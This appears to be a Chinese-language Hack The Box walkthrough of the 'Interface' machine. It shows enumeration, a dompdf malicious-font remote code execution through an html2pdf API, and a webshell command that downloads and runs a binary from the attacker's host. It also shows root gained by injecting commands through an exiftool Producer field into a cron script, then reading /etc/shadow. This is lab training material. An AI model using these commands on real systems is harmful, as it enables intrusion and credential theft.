Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
Interface
https://www.hackthebox.com/achievement/machine/463126/527
首先使用 Nmap 進行掃描,並將域名 interface.htb 加入到 /etc/hosts,隨後透過瀏覽器訪問,發現得到的內容有限。接著,嘗試掃描子域名和子目錄,但仍未獲得有用信息。在觀察瀏覽器的請求時,意外發現了一個名為 prd.m.rendering-api.interface.htb 的域名,進一步探索後發現了 api 和 vendor 兩個目錄。使用 GET 和 POST 請求對 html2pdf 進行測試,雖然初步測試未見結果,但經過關鍵字掃描後,尋找有效的提交參數。在發現 html2pdf 可能存在 XSS 漏洞後,轉而探索 vendor 目錄,發現 dompdf 框架的存在,並且進一步研究其代碼後得知,當自定義字體的後綴名不正確時,可能會導致 PHP 代碼的執行。為了利用這一漏洞,修改了 exploit.css 和 exploit_font.php,通過 Python 服務器上傳惡意字體,成功下載了木馬。進一步檢查發現系統中有一個 cronjob 在運行,使用 pspy 監控其動作,發現腳本中存在漏洞,可通過 exiftool 來執行任意命令。最終,通過巧妙地操作文件的 Producer 屬性,成功獲得 root 權限。
Nmap scan
首先使用 Nmap 進行掃描:
1 | PORT STATE SERVICE REASON VERSION |
把 interface.htb
加入到 /etc/hosts
,然後使用瀏覽器打開,得到:
既然有了域名,那就嘗試掃描一下子域名,結果什麽也沒有得到。
那就掃描一下子目錄:
1 | $ ffuf -u "http://10.129.228.208" -H "Host: FUZZ.interface.htb" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/raft-large-files.txt |
同樣的什麽也沒有得到。
在觀察瀏覽器的每一個請求的記錄的時候:
發現頭文件居然有另一個域名: prd.m.rendering-api.interface.htb
,打開後得到:
所以嘗試掃一下目錄:
1 | $ feroxbuster -u "http://prd.m.rendering-api.interface.htb/" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -d 2 |
得到了一個 api
和 vendor
這兩個目錄。
Fuzzing api
所以嘗試掃描該目錄,使用 GET 請求:
1 | $ feroxbuster -u "http://prd.m.rendering-api.interface.htb/api/" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt -C 404 |
結果什麽也沒有,如果換成 POST 請求試試看:
1 | $ feroxbuster -m POST -u "http://prd.m.rendering-api.interface.htb/api/" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt -C 404 |
得到了一個 html2pdf
。
Play with html2pdf
既然有了html2pdf
,由於是 POST 請求,肯定是要提交一些東西上去,問題是如何知道提交的關鍵字呢?
只能使用 ffuf
進行關鍵字掃描,首先從 url 傳遞參數開始:
1 | $ ffuf -X POST -u "http://prd.m.rendering-api.interface.htb/api/html2pdf?FUZZ=mane" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt -fr "missing parameters" -mc all |
結果什麽也沒有,然後掃描 json
傳遞的關鍵字,在 ffuf -h
中也有提示:
1 | $ ffuf -h |
所以命令如下:
1 | $ ffuf -X POST -u "http://prd.m.rendering-api.interface.htb/api/html2pdf" -H "Content-Type: application/json" -d '{"FUZZ":"manesec"}' -w /Tools/Wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt -fr "missing parameters" -mc all |
得到 html
的關鍵字,隨便提交一些數據看看會發生什麽:
1 | $ curl -v -X POST 'http://prd.m.rendering-api.interface.htb/api/html2pdf' -d '{"html":"mane"}' |
結果提交後什麽也沒有得到。
然後搜索了一番,看到最近的 html2pdf
是 xss 的漏洞,感覺不會用到該機器上,所以嘗試尋找其他思路:
Fuzzing vendor
另一個子目錄是 vendor
,所以嘗試掃描下:
1 | $ feroxbuster -u "http://prd.m.rendering-api.interface.htb/vendor" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -d 2 |
得到dompdf
,在進一步掃描下:
1 | $ feroxbuster -u "http://prd.m.rendering-api.interface.htb/vendor/dompdf" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -d 2 |
還是得到dompdf
,搜索了一番,看到 dompdf 是使用 php 的框架寫的:
所以嘗試掃描一下 php 的後綴名:
1 | $ feroxbuster -u "http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php |
從結果中可以看到 lib
, tests
, src
分別對應 github 上的目錄:
搜索了一下相關的 exploit ,看到:
這個 dompdf
只是一個框架,用來把 html 生成 pdf 用的,儅 html 裏有一些元素是使用自定義字體的時候,就會嘗試下載字體到緩存目錄上,然後進行渲染。在有漏洞的版本中,下載字體不會考慮後綴名,比如當我的字體文件是 mane.php
而不是 mane.ttf
,保存到緩存目錄的後綴名就是 .php
,這樣就能得到shell。
其中dompdf-rce這個項目整合了所需的文件,但 dompdf
只是一個框架,由於沒有 index.php
,所以還需要找到另一個組件來調用dompdf
。
1 | $ curl -v -X POST 'http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/index.php' |
Exploit with html2pdf
還記得一開始的/api/html2pdf
從名字上猜測他會調用 dompdf
這個框架,根據的dompdf-rce 説明:
需要修改 exploit.css
和 exploit_font.php
,其中 exploit_font.php
就放著一個字體,最後幾行插入php木馬,然後惡意的樣式文件就加載那個惡意字體,這樣就會把這個字體下載到臨時的目錄裏面:
改好後開啓python 的服務器 python3 -m http.server 80
,使用 html2pdf 新建一個pdf 帶有而已的樣式 試試看:
1 | $ curl -v -X POST 'http://prd.m.rendering-api.interface.htb/api/html2pdf' -d '{"html":"<link rel=stylesheet href=''http://10.10.16.31/exploit.css''>"}' |
結果可以看到他正常的訪問了 exploit_font.php
文件,這意味著成功的下載了木馬在臨時的目錄裏面,那麽問題又來了,臨時的目錄文件是什麽?
Getting upload folder path
根據文檔中的介紹沒有說下面的那一串 md5 來自哪裏,
繼續谷歌查找后,看到這篇文章:https://positive.security/blog/dompdf-rce
大致意思是他的hash來自下載的url,在代碼的 9-19 行:
可以看到 md5 是遠程下載的路徑的md5值,會放到框架目錄下的 dompdf/lib/fonts/<font-family>_<font-style>_<md5>.php
。
由於在 exploit.css
裏面定義了下載路徑是 http://10.10.16.31/exploit_font.php
,通過計算 md5 得到:
1 | $ echo -n 'http://10.10.16.31/exploit_font.php' | md5sum |
所以下載路徑是:
1 | $ curl -v 'http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_69f1a1c61bd57f1bc6762fc8462e0121.php?mane=id' |
可以看到 HTTP 的狀態碼是 200,所以嘗試上傳一個shell:
1 | curl 10.10.16.31:1111/mane -o /tmp/mane ; chmod 777 /tmp/mane ; /tmp/mane |
url加密後,傳到木馬上:
1 | $ curl -v 'http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_69f1a1c61bd57f1bc6762fc8462e0121.php?mane=curl%2010.10.16.31:1111/mane%20-o%20/tmp/mane%20;%20chmod%20777%20/tmp/mane%20;%20/tmp/mane%20' |
然後就得到了 shell。
Shell as webshell to root
從進程中看到:
1 | $ ps -auxwwf |
有一個 cronjob 的東西,使用 pspy 去監控一下:
1 | $ pspy64 |
背後有一個脚本在跑,所以嘗試看看脚本寫了什麽:
1 | $ cat /usr/local/sbin/cleancache.sh |
一眼就看到這裏有個漏洞,具體可以參考這篇文章,大概就是儅 num='x[$(whoami)]'
的時候,運行到 [[ "$NUM" -eq 100 ]]
就會執行任意代碼,
根據上面 cleancache.sh
文件的内容,需要讓 $meta_producer
設置成 x[$(whoami)]
,但是$meta_producer
裏的内容是使用 exiftool
讀取文件的 Producer
屬性中獲得的。
所以可以新建一個文件,使用 exiftool
去寫入一個文件的Producer
屬性,執行脚本的時候讀取回去,就得到任意的命令行執行,大概操作如下:
1 | www-data@interface:~$ touch mane |
另外還需要注意 cut -d " " -f1
,這意思是使用 exiftool
讀取文件的 Producer
屬性,只要空格前的内容,也就是說空格后的内容就完全無視掉了,假設我想要 chmod 4777 /bin/bash
,所以需要寫入 x[$(chmod 4777 /bin/bash)]
:
1 | $ cd /tmp |
然後嘗試讀取:
1 | $ /usr/bin/exiftool -s -s -s -Producer "mane" 2>/dev/null | cut -d " " -f1 |
你可以看到他只有 x[$(chmod
,好在是使用bash運行的,在bash中 ${IFS}
就等於空格,所以可以把所有空格換成 ${IFS}
:
1 | $ /usr/bin/exiftool -Producer='x[$(chmod${IFS}4777${IFS}/bin/bash)]' mane |
最終
1 | $ cd /tmp |
把文件寫入到/tmp
等待定時任務運行:
等運行了就可以得到 root 權限:
1 | $ bash -p |
Hashes
1 | bash-4.4# cat /etc/shadow |
Thanks
Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!
感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!
Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!
發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!
Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.
新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。
使用上面的鏈接加入 HTB 的 academy 完成 INTRODUCTION TO ACADEMY
這個模塊后可以解鎖更多的功能!
Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)